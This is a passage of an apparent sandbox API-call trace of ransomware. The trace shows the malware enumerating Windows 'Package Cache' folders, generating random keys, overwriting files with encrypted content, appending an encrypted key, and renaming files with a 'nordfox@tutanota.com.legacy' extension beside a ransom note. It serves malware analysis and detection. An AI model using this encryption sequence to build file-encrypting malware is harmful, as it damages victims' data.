RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6d38 [0116.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6b70 | out: hHeap=0x520000) returned 1 [0116.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7030 | out: hHeap=0x520000) returned 1 [0116.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571978 | out: hHeap=0x520000) returned 1 [0116.345] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2e95b81, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x567318 [0116.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0116.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ec0 [0116.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0116.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ec0 | out: hHeap=0x520000) returned 1 [0116.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0116.345] GetLastError () returned 0x0 [0116.345] SetLastError (dwErrCode=0x0) [0116.345] GetLastError () returned 0x0 [0116.345] SetLastError (dwErrCode=0x0) [0116.345] GetLastError () returned 0x0 [0116.345] SetLastError (dwErrCode=0x0) [0116.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0116.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0116.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0116.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0116.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566f58 [0116.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f58 | out: hHeap=0x520000) returned 1 [0116.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0116.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0116.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0116.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0116.346] FindNextFileW (in: hFindFile=0x567318, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2e95b81, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0116.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578cc8 [0116.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0116.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578cc8 | out: hHeap=0x520000) returned 1 [0116.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0116.346] GetLastError () returned 0x0 [0116.346] SetLastError (dwErrCode=0x0) [0116.346] GetLastError () returned 0x0 [0116.346] SetLastError (dwErrCode=0x0) [0116.346] GetLastError () returned 0x0 [0116.346] SetLastError (dwErrCode=0x0) [0116.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0116.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0116.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0116.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d460 [0116.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567158 [0116.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567158 | out: hHeap=0x520000) returned 1 [0116.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20078 [0116.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20078 | out: hHeap=0x520000) returned 1 [0116.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d460 | out: hHeap=0x520000) returned 1 [0116.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0116.347] FindNextFileW (in: hFindFile=0x567318, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2e95b81, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2e95b81, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2e95b81, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0116.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ad0 [0116.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0116.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ad0 | out: hHeap=0x520000) returned 1 [0116.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8980 [0116.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0116.347] GetLastError () returned 0x0 [0116.347] SetLastError (dwErrCode=0x0) [0116.347] GetLastError () returned 0x0 [0116.347] SetLastError (dwErrCode=0x0) [0116.347] GetLastError () returned 0x0 [0116.347] SetLastError (dwErrCode=0x0) [0116.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0116.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0116.347] FindNextFileW (in: hFindFile=0x567318, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x35efb7db, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0116.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8980 | out: hHeap=0x520000) returned 1 [0116.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578e78 [0116.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0116.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578e78 | out: hHeap=0x520000) returned 1 [0116.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0116.348] GetLastError () returned 0x0 [0116.348] SetLastError (dwErrCode=0x0) [0116.348] GetLastError () returned 0x0 [0116.348] SetLastError (dwErrCode=0x0) [0116.348] GetLastError () returned 0x0 [0116.348] SetLastError (dwErrCode=0x0) [0116.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d460 [0116.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d460 | out: hHeap=0x520000) returned 1 [0116.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563b58 [0116.348] FindNextFileW (in: hFindFile=0x567318, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd2547a05, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0116.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578de8 [0116.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0116.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578de8 | out: hHeap=0x520000) returned 1 [0116.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8fc0 [0116.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0116.349] GetLastError () returned 0x0 [0116.349] SetLastError (dwErrCode=0x0) [0116.349] GetLastError () returned 0x0 [0116.350] SetLastError (dwErrCode=0x0) [0116.350] GetLastError () returned 0x0 [0116.350] SetLastError (dwErrCode=0x0) [0116.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0116.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0116.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e82b0 [0116.351] FindNextFileW (in: hFindFile=0x567318, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd2547a05, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0116.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7da8 [0116.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0116.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0116.352] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0116.352] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0116.353] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", dwFileAttributes=0x80) returned 1 [0116.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8368 [0116.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x585058 [0116.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8368 | out: hHeap=0x520000) returned 1 [0116.359] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x684 [0116.360] GetFileSizeEx (in: hFile=0x684, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=462976) returned 1 [0116.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x71080) returned 0x2e20f20 [0116.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x71080) returned 0x2e91fa8 [0116.370] ReadFile (in: hFile=0x684, lpBuffer=0x2e20f20, nNumberOfBytesToRead=0x71080, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x71080, lpOverlapped=0x0) returned 1 [0116.393] SetFilePointer (in: hFile=0x684, lDistanceToMove=-462976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.393] WriteFile (in: hFile=0x684, lpBuffer=0x2e91fa8*, nNumberOfBytesToWrite=0x71080, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e91fa8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x71080, lpOverlapped=0x0) returned 1 [0116.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0116.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e91fa8 | out: hHeap=0x520000) returned 1 [0116.421] SetFilePointer (in: hFile=0x684, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x71080 [0116.421] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.421] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.422] WriteFile (in: hFile=0x684, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.423] WriteFile (in: hFile=0x684, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.423] CloseHandle (hObject=0x684) returned 1 [0116.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0116.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0116.423] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), lpNewFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585058 | out: hHeap=0x520000) returned 1 [0116.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7da8 | out: hHeap=0x520000) returned 1 [0116.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e82b0 | out: hHeap=0x520000) returned 1 [0116.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563a08 [0116.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0116.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0116.426] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0116.426] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0116.426] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm", dwFileAttributes=0x80) returned 1 [0116.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563ea0 [0116.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0116.427] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ea0 | out: hHeap=0x520000) returned 1 [0116.427] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x684 [0116.427] GetFileSizeEx (in: hFile=0x684, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=638) returned 1 [0116.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x27e) returned 0x555b90 [0116.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x27e) returned 0x2f40050 [0116.427] ReadFile (in: hFile=0x684, lpBuffer=0x555b90, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesRead=0x2e1f9bc*=0x27e, lpOverlapped=0x0) returned 1 [0116.428] SetFilePointer (in: hFile=0x684, lDistanceToMove=-638, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.428] WriteFile (in: hFile=0x684, lpBuffer=0x2f40050*, nNumberOfBytesToWrite=0x27e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x27e, lpOverlapped=0x0) returned 1 [0116.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555b90 | out: hHeap=0x520000) returned 1 [0116.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0116.429] SetFilePointer (in: hFile=0x684, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x27e [0116.429] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.429] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.429] WriteFile (in: hFile=0x684, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.500] WriteFile (in: hFile=0x684, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.500] CloseHandle (hObject=0x684) returned 1 [0116.500] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0116.500] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0116.501] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), lpNewFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.504] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0116.504] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563a08 | out: hHeap=0x520000) returned 1 [0116.504] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563b58 | out: hHeap=0x520000) returned 1 [0116.504] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7620 [0116.504] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6d38 | out: hHeap=0x520000) returned 1 [0116.504] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7458 | out: hHeap=0x520000) returned 1 [0116.504] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571658 | out: hHeap=0x520000) returned 1 [0116.504] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2e95b81, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x566f18 [0116.505] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8fc0 | out: hHeap=0x520000) returned 1 [0116.505] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a40 [0116.505] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0116.505] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a40 | out: hHeap=0x520000) returned 1 [0116.505] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.505] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0116.505] GetLastError () returned 0x0 [0116.505] SetLastError (dwErrCode=0x0) [0116.505] GetLastError () returned 0x0 [0116.505] SetLastError (dwErrCode=0x0) [0116.505] GetLastError () returned 0x0 [0116.505] SetLastError (dwErrCode=0x0) [0116.505] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0116.506] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0116.506] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0116.506] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0116.506] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566d58 [0116.506] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d58 | out: hHeap=0x520000) returned 1 [0116.506] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20210 [0116.506] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20210 | out: hHeap=0x520000) returned 1 [0116.506] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0116.506] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0116.506] FindNextFileW (in: hFindFile=0x566f18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2e95b81, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0116.506] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.506] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ba8 [0116.506] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0116.506] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ba8 | out: hHeap=0x520000) returned 1 [0116.506] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.506] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0116.507] GetLastError () returned 0x0 [0116.507] SetLastError (dwErrCode=0x0) [0116.507] GetLastError () returned 0x0 [0116.507] SetLastError (dwErrCode=0x0) [0116.507] GetLastError () returned 0x0 [0116.507] SetLastError (dwErrCode=0x0) [0116.507] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0116.507] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56da28 [0116.507] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0116.507] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0116.507] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5670d8 [0116.507] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670d8 | out: hHeap=0x520000) returned 1 [0116.507] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0116.507] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: 